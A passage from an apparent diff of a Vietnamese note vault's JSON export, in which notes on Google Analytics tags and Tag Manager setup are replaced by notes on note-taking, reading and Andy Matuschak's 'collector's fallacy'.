"Powerful medium enables powerful representations", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Môi trường nghĩ, nhận thức tăng cường/Powerful medium enables powerful representations", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Mã JavaScript đó có dạng thế này:\r\n```js\r\n \r\n\r\n\r\n```\r\nĐoạn `G-********` là ID của nó. [[Một Google tag có thể có nhiều ID]]. [[Nên cài Google tag trong Google Tag Manager thay vì cài trực tiếp trên web hoặc qua plugin|Có thể cài nó trực tiếp trên web, hoặc nhờ plugin hỗ trợ, nhưng tốt nhất là nên cài thông qua Google Tag Manager]].\r\n\r\nCác tag này sẽ đổ dữ liệu về các destination, chính là các web data stream trong GA. \r\n\r\nLưu ý rằng ngoài web ra thì các app điện thoại cũng có thể làm data stream cho GA. Nhưng vì ở đó có những cách thức khác để theo dõi hành vi người dùng, nên [[App điện thoại có thể trở thành data stream, nhưng không thể trở thành destination|chúng không được dùng làm destination cho Google tag]]. Tức là, **Google tag chỉ có duy nhất một loại destination là web data stream**. Nếu bạn chỉ có duy nhất một website để phân tích, thì bạn sẽ chỉ có một Google tag, một destination, một data stream, và tất cả chúng sẽ từa tựa lẫn nhau khiến cho bạn dễ bị rối.\r\n[[Google tag đổ dữ liệu về Google Analytics, không phải Google Tag Manager]]\r\n# Thiết lập các Google tag\r\nĐể có một **danh sách tổng hợp tất cả các Google tag mà mình có**, hãy vào [Google Tag Manager](https://tagmanager.google.com/#/home): ![](https://storage.googleapis.com/support-kms-prod/Q5lAquhBvBoVYFmUpBjRYdCc0a45iJVloZPJ) \r\n\r\nĐể **thiết lập chi tiết cách data stream làm destination như thế nào**, hãy vào [Google Analytics](https://analytics.google.com/analytics): ![Screenshot of the Google Analytics 4 data stream settings. The Google tag settings are located in the data stream settings](https://storage.googleapis.com/support-kms-prod/jRorNBqYurSg9prt08pizpolkGC6elmHj7qp)\r\n\r\n> [!attention] Phân biệt\r\n> Khi bấm vào \r\n", + "Toàn bộ nội dung": "Nguồn:: [[Bret Victor]], ![The Humane Representation of Thought - YouTube](https://www.youtube.com/embed/agOdP2Bmieg)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "bU" + "id": "fG" }, { - "Tiêu đề": "Một Google tag có thể có nhiều ID", - "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Gắn tag/Một Google tag có thể có nhiều ID", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Thiết kế trải nghiệm người dùng", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Môi trường nghĩ, nhận thức tăng cường/Thiết kế trải nghiệm người dùng", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![An illustration demonstrating where to locate Tag IDs on Google tag.](https://storage.googleapis.com/support-kms-prod/BDKksyJ4hntsQiVpJtHK4PBl5gKaohplp5fE)\r\n\r\nCái ID đầu tiên là cái chính, nhưng dùng cái nào cũng được. Những cái ID sau dùng để tương thích với hệ thống code cũ\r\n![](https://i.imgur.com/xWBvTda.png) \r\n![](https://i.imgur.com/GNuJnY5.png)\r\n\r\nNguồn:: [[Google Support]], [Google tag ID: Definition - Tag Manager Help](https://support.google.com/tagmanager/answer/12326985?hl=en)\r\n\r\nCâu hỏi:: [[❓Measurement ID của web data stream chính là Google tag ID]]\r\n[[Destination ID cho GA trùng với Measurement ID của web data stream]]\r\n[[Google tag, global site tag, gtag là những cái tên khác nhau cho đoạn script theo dõi người dùng của Google Analytics]]\r\n[[Nên cài Google tag trong Google Tag Manager thay vì cài trực tiếp trên web hoặc qua plugin]]", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "bV" + "id": "fH" }, { - "Tiêu đề": "Một tag có thể có nhiều destination, nhưng một destination chỉ thuộc về một tag", - "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Gắn tag/Một tag có thể có nhiều destination, nhưng một destination chỉ thuộc về một tag", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Essence của một cuốn sách chính là mục lục của nó", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Môi trường nghĩ, nhận thức tăng cường/Đọc và viết/Essence của một cuốn sách chính là mục lục của nó", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[App điện thoại có thể trở thành data stream, nhưng không thể trở thành destination]]\r\n[[Destination ID cho GA trùng với Measurement ID của web data stream]]", + "Toàn bộ nội dung": "Nguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\n[[Đọc mục lục một cuốn sách thì đơn giản, nhưng có thể truy xuất được điều mình cần và vận dụng nó một cách hiệu quả thì phải đọc cả cuốn sách]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "bW" + "id": "fI" }, { - "Tiêu đề": "Nên cài Google tag trong Google Tag Manager thay vì cài trực tiếp trên web hoặc qua plugin", - "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Gắn tag/Nên cài Google tag trong Google Tag Manager thay vì cài trực tiếp trên web hoặc qua plugin", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Collecting material feels more useful than it usually is", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Môi trường nghĩ, nhận thức tăng cường/Đọc và viết/Ghi chú thông tin/Collecting material feels more useful than it usually is", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Google tag, global site tag, gtag là những cái tên khác nhau cho đoạn script theo dõi người dùng của Google Analytics]], còn [[Google Tag Manager là một trình quản lý các mã JavaScript được gắn vào web]]. Ngoài Google tag ra còn có Facebook tag, LinkedIn tag, v.v.\r\n\r\n![](https://www.analyticsmania.com/wp-content/uploads/2022/01/image-2022-01-06T152832.289.jpg) \r\nNguồn:: [GTAG vs Google Tag Manager. What is the Difference? What to Choose?](https://www.analyticsmania.com/post/gtag-vs-google-tag-manager/)\r\n\r\n# Lợi ích của Google Tag Manager \r\n- The ability to deploy and modify both Google and 3rd party tags\r\n- The ability to deploy and modify tags for both web and mobile apps\r\n- The ability to deploy and modify tags on the fly from a web interface\r\n- Collaboration and versioning capabilities\r\n\r\nNguồn:: [[Google Support]], [Tag Manager and the Google tag (gtag.js) - Tag Manager Help](https://support.google.com/tagmanager/answer/7582054?sjid=14081765469960323685-AP)\r\n\r\nYou should only use either the Google tag or Tag Manager, not both. Using both methods will have unintended consequences, such as overcounting data from your website. If you've installed both the Tag Manager snippets and the Google tag snippet, remove the snippets for one of these implementation options.\r\nNguồn:: [[Google Support]], [[GA4] Troubleshoot tag setup on your website - Analytics Help](https://support.google.com/analytics/answer/9311124?hl=en&sjid=12272186081024095110-AP#zippy&zippy=%2Cthe-tag-manager-and-google-tag-snippets-are-both-installed%2Cthe-tag-manager-changes-have-not-been-published%2Cthe-google-tag-snippet-is-in-the-wrong-place%2Cthe-google-tag-contains-extra-whitespaces-or-characters%2Cthe-ga-configuration-tag-has-not-been-configured%2Cthe-ga-configuration-tag-does-not-have-a-trigger-condition)", + "Toàn bộ nội dung": "https://notes.andymatuschak.org/z8QSUyNdq3CMK79KSnCW7QTR1MPHEFi4Q2LY8\n\nAccumulating tabs, saving PDFs, and making bookmarks feels like progress, but we systematically overrate its value. [Understanding requires effortful engagement](https://notes.andymatuschak.org/zX1WtJ4ouE8sjN1NgWHsGVg8ZnVfp5Kz74Vs); you are not likely to draw much understanding from a folder of barely-skimmed PDFs.\n\nWe collect material because it’s easy, and because it quells the anxiety that we’ll never find what we’re looking at again. But really, we’re often just making things worse, burying important materials in tons of secondary matter we just “don’t want to lose.” This notion is in contrast to [Knowledge work should accrete](https://notes.andymatuschak.org/z6UDDkom8Aifg6mLdjT1sPtbMBweCmpyTwmJT).\n\n[Christian Tietze suggests](https://zettelkasten.de/posts/collectors-fallacy/):\n\n> This is a first step to conquer Collector’s Fallacy: to **realize that having a text at hand does nothing to increase our knowledge**.\n\nInstead, we should [Write about what you read to internalize texts deeply](https://notes.andymatuschak.org/zg3fYweZpbHeBTpcYke5mF4ZfrJutYcQEtFo), because [Evergreen note-writing helps reading efforts accumulate](https://notes.andymatuschak.org/z6M8kex6kDF2FT6MWqAMDQddsqUr8sphLmyy1). And to help steer ourselves effectively (contra [Note-writing practices provide weak feedback](https://notes.andymatuschak.org/z66PNF1Wt4AZ4j7TVEenkvPZgvDcHPuSdJC2r)), we should process collected materials in short iteration cycles, rather than letting them pile up for long periods. But! Keep in mind that [Most texts aren’t worth writing detailed notes about](https://notes.andymatuschak.org/z2iRjpFUtRxLXcRfxWAV8ikS17G1y6KAT1q6).\n\nOften a good compromise is to use spaced repetition to cheaply internalize a few key details; you can come back and write real notes later if the material turns out to be valuable. See e.g. [Deciding to remember something with a spaced repetition system is a lightweight gesture](https://notes.andymatuschak.org/z2vBgMKvhXq9yM4wMR3uuQVsqJRarfbfbEoWr)\n\n---\n\n## References\n\n[The Collector’s Fallacy • Zettelkasten Method](https://zettelkasten.de/posts/collectors-fallacy/)\n\n> Because ‘to know about something’ isn’t the same as ‘knowing something’. Just _knowing about_ a thing is less than superficial since knowing about is merely to be certain of its existence, nothing more. Ultimately, this fake-knowledge is hindering us on our road to true excellence. Until we merge the _contents,_ the information, ideas, and thoughts of other people into our own knowledge, we haven’t really learned a thing. We don’t change ourselves if we don’t learn, so **merely filing things away doesn’t lead us anywhere**.\n\n> Just like photocopying is self-rewarding and addictive, I argue that we fall into the same trap of false comfort when we bookmark web pages and sort the bookmarks into folders or tagged categories. **Bookmarking a web page is satisfying because we get rid of the fear of losing access to the information.** I get into detail in [another post](https://zettelkasten.de/posts/reading-web-rss-note-taking) .\n\n> This is a first step to conquer Collector’s Fallacy: to **realize that having a text at hand does nothing to increase our knowledge**. We have to work with it instead. Reading alone won’t suffice: we have to create notes, too, to create real, sustainable knowledge.\n\n> Especially when we start to research something new, Eco recommends we read and highlight texts right after we create copies. If we train ourselves to process photocopied texts soon, we get a feeling of how much we can really handle.\n> \n> **Shorter cycles of research**, reading, and knowledge assimilation are better than long ones. With every full cycle from research to knowledge assimilation, we learn more about the topic. When we know more, our decisions are more informed, thus our research gets more efficient. If, on the other hand, we take home a big pile of material to read and process, some of it will turn out be useless once we finished parts of the pile.\n\n[Kidd, A. (1994). The marks are on the knowledge worker. Proceedings of the SIGCHI Conference on Human Factors in Computing Systems, 186–191](https://notes.andymatuschak.org/zcvfLrDy5Fc5V2gX6CTUVqxPnW55psKEEGQ)\n\n> The marks which can make a difference to their organisations are on the knowledge workers not on the pieces of paper. This is what it means to inform - to change the form of a person or a device such that they act differently (ideally more effectively) on their environment.\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "bX" + "id": "fJ" }, { - "Tiêu đề": "A client is a Tag Manager resource type that intercepts certain types of incoming HTTP requests and generates events that are passed to a destination, like Google Analytics 4", - "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Gắn tag/Server-side tagging/A client is a Tag Manager resource type that intercepts certain types of incoming HTTP requests and generates events that are passed to a destination, like Google Analytics 4", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Cần những cách lưu dữ liệu khác nhau cho việc họp, nghiên cứu và quản lý dự án", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Môi trường nghĩ, nhận thức tăng cường/Đọc và viết/Ghi chú thông tin/Cần những cách lưu dữ liệu khác nhau cho việc họp, nghiên cứu và quản lý dự án", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "### About the Google Analytics client\n\nFirst, you need to set up a client in the server container. A client is a Tag Manager resource type that intercepts certain types of incoming HTTP requests and generates **events** that are passed to a destination, like Google Analytics 4.\n\nIn this case, the HTTP request is a **Google Analytics 4** event, so you need to configure the built-in **Google Analytics: GA4** client. You only need one GA4 client.\n\n \n \n![Diagram showing how the GA4 client serves as a library and a proxy for GA4 events.](https://developers.google.com/static/tag-platform/learn/images/analytics-client.png)\n\nThe GA4 client has a dual purpose.\n\n1. It serves as a proxy for Google Analytics 4 library that loads in the browser. GA4, just like any other analytics service running in the browser, requires a JavaScript library to work. Instead of the browser loading this library directly from Google's content distribution network, you can configure the GA4 client to allow the library to be loaded through your server container instead.\n2. The client also serves as a proxy for the GA4 event requests themselves. Instead of the browser sending the events directly to Google's analytics servers, they are first sent to the server container, where the GA4 client intercepts them and dispatches them onward to Google servers (and any other destinations you like).\n\n## Setting up the GA4 client\n\nTo set up the GA4 client in the server, follow the next four steps.\n\n### 1. Configure the client\n\nTo configure the GA4 client:\n\n1. In your server container, open **Clients**.\n2. Click on the **GA4 client** to open its configuration.\n3. Set up your GA4 client with the following parameters. Save when you are done.\n\n![Screenshot of the tag configuration dialog](https://developers.google.com/static/tag-platform/learn/images/client-configuration.png)\nNguồn:: [Configuring the Google Analytics 4 data stream with server-side tagging  |  Server-side tagging fundamentals  |  Google for Developers](https://developers.google.com/tag-platform/learn/sst-fundamentals/5-sst-setup-analytics)", + "Toàn bộ nội dung": "\n\n- Họp: daily note first \n- Nghiên cứu: topic first \n- Quản lý dự án: context first, action first \n\n- tiện viết thì đơn giản gì nó khuyến khích bạn note liên tục dù mệt mỏi hoặc ko cần suy nghĩ nhiều, \n- tiện đọc thì nó phải friendly với con mắt và working memory của não, luật miller quy định con người chỉ nhớ đc 7 thứ cùng lúc cái đó cũng thành luật thiết kế UI thời nay, và \n- tiện quản lí thì dễ tìm 1 thứ gì đó, dễ link thứ này qua thứ kia, dễ phân loại các notes, …\nđa số method thì phần tiện viết hoặc phần tiện đọc nó ko tốt, bằng chứng là đa số ng dù productivity cao cũng dùng mỗi apple note, và đa số note dài dòng thì khó mà ai đọc được như tr bàn vụ sao framework của sách nó inferior hơn nhiều thứ hiện nay\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-21T16:57:00.000Z", - "id": "bY" + "id": "fK" }, { - "Tiêu đề": "Only one client can claim an incoming request, but there can be multiple clients trying to claim the same request", - "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Gắn tag/Server-side tagging/Only one client can claim an incoming request, but there can be multiple clients trying to claim the same request", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Evergreen giúp tăng khả năng nhìn thấy được mâu thuẫn", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Môi trường nghĩ, nhận thức tăng cường/Đọc và viết/Ghi chú thông tin/Evergreen giúp tăng khả năng nhìn thấy được mâu thuẫn", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-21T16:57:00.000Z", - "id": "bZ" + "id": "fL" }, { - "Tiêu đề": "❓Measurement ID của web data stream chính là Google tag ID", - "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Gắn tag/❓Measurement ID của web data stream chính là Google tag ID", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Evergreen notes biến ý tưởng trở thành đối tượng để mình thao tác", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Môi trường nghĩ, nhận thức tăng cường/Đọc và viết/Ghi chú thông tin/Evergreen notes biến ý tưởng trở thành đối tượng để mình thao tác", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]", + "Toàn bộ nội dung": "[[Ta mô phỏng thế giới qua những vật thể]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "ba" + "id": "fM" }, { - "Tiêu đề": "Link referrer không hiện đầy đủ mà chỉ có tên miền vì URL có thể chứa thông tin cá nhân", - "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Link referrer không hiện đầy đủ mà chỉ có tên miền vì URL có thể chứa thông tin cá nhân", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Giàn giáo nhận thức cần phải tuỳ biến với quá trình hiểu biết của người dùng", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Môi trường nghĩ, nhận thức tăng cường/Đọc và viết/Ghi chú thông tin/Giàn giáo nhận thức cần phải tuỳ biến với quá trình hiểu biết của người dùng", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Thêm thẻ này để cho phép lấy thông tin trên website của mình\r\n```html\r\n\r\n```\r\nNguồn:: [How Chrome’s new referrer policy affects your site analytics | Plausible Analytics](https://plausible.io/blog/referrer-policy)", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "bb" + "id": "fN" }, { - "Tiêu đề": "Web analytics đã thay đổi trong nhiều năm qua", - "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Web analytics đã thay đổi trong nhiều năm qua", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Khu vườn số luôn phát triển và thay đổi. Nó không bao giờ có trạng thái xong", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Môi trường nghĩ, nhận thức tăng cường/Đọc và viết/Ghi chú thông tin/Khu vườn số luôn phát triển và thay đổi. Nó không bao giờ có trạng thái xong", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "- Người dùng ngày càng đòi hỏi cao hơn về sự riêng tư\r\n- Nhiều bộ luật và chính sách toàn cầu mới về dữ liệu\r\n- Các trình duyệt giảm hỗ trợ cookie\r\n- Người dùng sử dụng nhiều thiết bị hơn, có thể bắt đầu ở thiết bị này nhưng kết thúc ở thiết bị khác (trước đây chỉ có mỗi web) \r\n\r\nNguồn:: [Exceed: cannot access content](https://skillshop.exceedlms.com/uploads/resource_courses/targets/1468635/original/index.html?_courseId=291144#/page/6491e7af8f5788176787aef2)\r\n", + "Toàn bộ nội dung": "[A Brief History & Ethos of the Digital Garden](https://maggieappleton.com/garden-history)\n![](https://res.cloudinary.com/dg3gyk0gu/image/upload/c_scale,f_auto,q_auto:good,w_1100/v1593765637/maggieappleton.com/notes/garden-history/digital-garden.png)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-07-02T14:06:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "bc" + "id": "fO" }, { - "Tiêu đề": "🔊Tiếp thị số", - "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/🔊Tiếp thị số", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Ta thường không sẵn sàng để đọc một tài liệu khi ta mới thấy nó", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Môi trường nghĩ, nhận thức tăng cường/Đọc và viết/Ghi chú thông tin/Ta thường không sẵn sàng để đọc một tài liệu khi ta mới thấy nó", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\r\nLIST rows.file.link\r\nFROM \"🔊Tiếp thị số\" \r\nWHERE file.name!=this.file.name\r\ngroup by split(file.folder, \"/\")[1]\r\n```", + "Toàn bộ nội dung": "Nguồn:: [The Academic Knowledge Management (AKM) system that 10x’d my research productivity | Chris Lovejoy](https://www.chrislovejoy.me/akm)\n\n[[Đọc lướt không giúp ta tiếp thu được gì cả]]. [[Kể cả khi ta biết một trang web trả lời câu hỏi cho ta, thì việc đọc cũng nhức đầu]]\n[[Tiếng Anh càng làm mình muốn đọc lướt hơn]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-26T06:45:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "bd" + "id": "fP" }, { - "Tiêu đề": "Các quy chuẩn thời gian ISO và RFC", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Các quy chuẩn thời gian ISO và RFC", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Tiếng Anh càng làm mình muốn đọc lướt hơn", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Môi trường nghĩ, nhận thức tăng cường/Đọc và viết/Ghi chú thông tin/Tiếng Anh càng làm mình muốn đọc lướt hơn", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Mô tả bài đăng": "2020-12-09T16:09:53+00:00 đáp ứng cả ISO và RFC", - "Toàn bộ nội dung": "| Mô tả | Ví dụ | ISO 8601 | RFC3339 |\n| --------------------------------- | --------------------------- | -------- | ------- |\n| Chuẩn | `2020-12-09T16:09:53+00:00` | ✔ | ✔ |\n| Dùng khoảng cách giữa ngày và giờ | `2020-12-09 16:09:53+00:00` | ❌ | ✔ |\n| Dấu âm trong time offset | `2020-12-09T16:09:53-00:00` | ❌ | ✔ |\n| Bỏ dấu ngang và hai chấm | `20201209T160953Z` | ✔ | ❌ |\n\nNguồn:: [[✍️Lập trình/Ξ Nguồn và tài nguyên hỗ trợ/Ξ Nguồn/Stack Overflow]], [datetime - What's the difference between ISO 8601 and RFC 3339 Date Formats? - Stack Overflow](https://stackoverflow.com/a/65221179/3416774)", + "Toàn bộ nội dung": "Nguồn::\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-09-01T19:13:00.000Z", - "id": "be" + "id": "fQ" }, { - "Tiêu đề": "Nhiều người vẫn nghĩ là bảng hoặc danh sách chọn là markdown chuẩn, trong khi thực ra nó là phiên bản của GitHub", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Markdown/Nhiều người vẫn nghĩ là bảng hoặc danh sách chọn là markdown chuẩn, trong khi thực ra nó là phiên bản của GitHub", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Việc thu thập tài nguyên tạo cảm giác hữu ích hơn là thực sự hữu ích", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Môi trường nghĩ, nhận thức tăng cường/Đọc và viết/Ghi chú thông tin/Việc thu thập tài nguyên tạo cảm giác hữu ích hơn là thực sự hữu ích", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [GitHub - syntax-tree/mdast-util-gfm: mdast extension to parse and serialize GFM (GitHub Flavored Markdown)](https://github.com/syntax-tree/mdast-util-gfm?tab=readme-ov-file#when-to-use-this)", + "Toàn bộ nội dung": "[[Ta thường không sẵn sàng để đọc một tài liệu khi ta mới thấy nó]]\n\nNguồn :: [[Andy Matuschak]], [Collecting material feels more useful than it usually is](https://notes.andymatuschak.org/z8QSUyNdq3CMK79KSnCW7QTR1MPHEFi4Q2LY8)\n\nAccumulating tabs, saving PDFs, and making bookmarks feels like progress, but we systematically overrate its value. [Understanding requires effortful engagement](https://notes.andymatuschak.org/zX1WtJ4ouE8sjN1NgWHsGVg8ZnVfp5Kz74Vs); you are not likely to draw much understanding from a folder of barely-skimmed PDFs.\n\nWe collect material because it’s easy, and because it quells the anxiety that we’ll never find what we’re looking at again. But really, we’re often just making things worse, burying important materials in tons of secondary matter we just “don’t want to lose.” This notion is in contrast to [Knowledge work should accrete](https://notes.andymatuschak.org/z6UDDkom8Aifg6mLdjT1sPtbMBweCmpyTwmJT).\n\n[Christian Tietze suggests](https://zettelkasten.de/posts/collectors-fallacy/):\n\n> This is a first step to conquer Collector’s Fallacy: to **realize that having a text at hand does nothing to increase our knowledge**.\n\nInstead, we should [Write about what you read to internalize texts deeply](https://notes.andymatuschak.org/zg3fYweZpbHeBTpcYke5mF4ZfrJutYcQEtFo), because [Evergreen note-writing helps reading efforts accumulate](https://notes.andymatuschak.org/z6M8kex6kDF2FT6MWqAMDQddsqUr8sphLmyy1). And to help steer ourselves effectively (contra [Note-writing practices provide weak feedback](https://notes.andymatuschak.org/z66PNF1Wt4AZ4j7TVEenkvPZgvDcHPuSdJC2r)), we should process collected materials in short iteration cycles, rather than letting them pile up for long periods. But! Keep in mind that [Most texts aren’t worth writing detailed notes about](https://notes.andymatuschak.org/z2iRjpFUtRxLXcRfxWAV8ikS17G1y6KAT1q6).\n\nOften a good compromise is to use spaced repetition to cheaply internalize a few key details; you can come back and write real notes later if the material turns out to be valuable. See e.g. [Deciding to remember something with a spaced repetition system is a lightweight gesture](https://notes.andymatuschak.org/z2vBgMKvhXq9yM4wMR3uuQVsqJRarfbfbEoWr)\n\n---\n\n## References\n\n[The Collector’s Fallacy • Zettelkasten Method](https://zettelkasten.de/posts/collectors-fallacy/)\n\n> Because ‘to know about something’ isn’t the same as ‘knowing something’. Just _knowing about_ a thing is less than superficial since knowing about is merely to be certain of its existence, nothing more. Ultimately, this fake-knowledge is hindering us on our road to true excellence. Until we merge the _contents,_ the information, ideas, and thoughts of other people into our own knowledge, we haven’t really learned a thing. We don’t change ourselves if we don’t learn, so **merely filing things away doesn’t lead us anywhere**.\n\n> Just like photocopying is self-rewarding and addictive, I argue that we fall into the same trap of false comfort when we bookmark web pages and sort the bookmarks into folders or tagged categories. **Bookmarking a web page is satisfying because we get rid of the fear of losing access to the information.** I get into detail in [another post](https://zettelkasten.de/posts/reading-web-rss-note-taking) .\n\n> This is a first step to conquer Collector’s Fallacy: to **realize that having a text at hand does nothing to increase our knowledge**. We have to work with it instead. Reading alone won’t suffice: we have to create notes, too, to create real, sustainable knowledge.\n\n> Especially when we start to research something new, Eco recommends we read and highlight texts right after we create copies. If we train ourselves to process photocopied texts soon, we get a feeling of how much we can really handle.\n> \n> **Shorter cycles of research**, reading, and knowledge assimilation are better than long ones. With every full cycle from research to knowledge assimilation, we learn more about the topic. When we know more, our decisions are more informed, thus our research gets more efficient. If, on the other hand, we take home a big pile of material to read and process, some of it will turn out be useless once we finished parts of the pile.\n\n[Kidd, A. (1994). The marks are on the knowledge worker. Proceedings of the SIGCHI Conference on Human Factors in Computing Systems, 186–191](https://notes.andymatuschak.org/zcvfLrDy5Fc5V2gX6CTUVqxPnW55psKEEGQ)\n\n> The marks which can make a difference to their organisations are on the knowledge workers not on the pieces of paper. This is what it means to inform - to change the form of a person or a device such that they act differently (ideally more effectively) on their environment.\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-31T13:48:00.000Z", - "id": "bf" + "id": "fR" }, { - "Tiêu đề": "Plugin ezlinks vừa nhiều lỗi vừa không cần thiết", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Markdown/Python/Plugin ezlinks vừa nhiều lỗi vừa không cần thiết", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Ý tưởng nếu không ghi lại ngay sẽ quên rất nhanh", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Môi trường nghĩ, nhận thức tăng cường/Đọc và 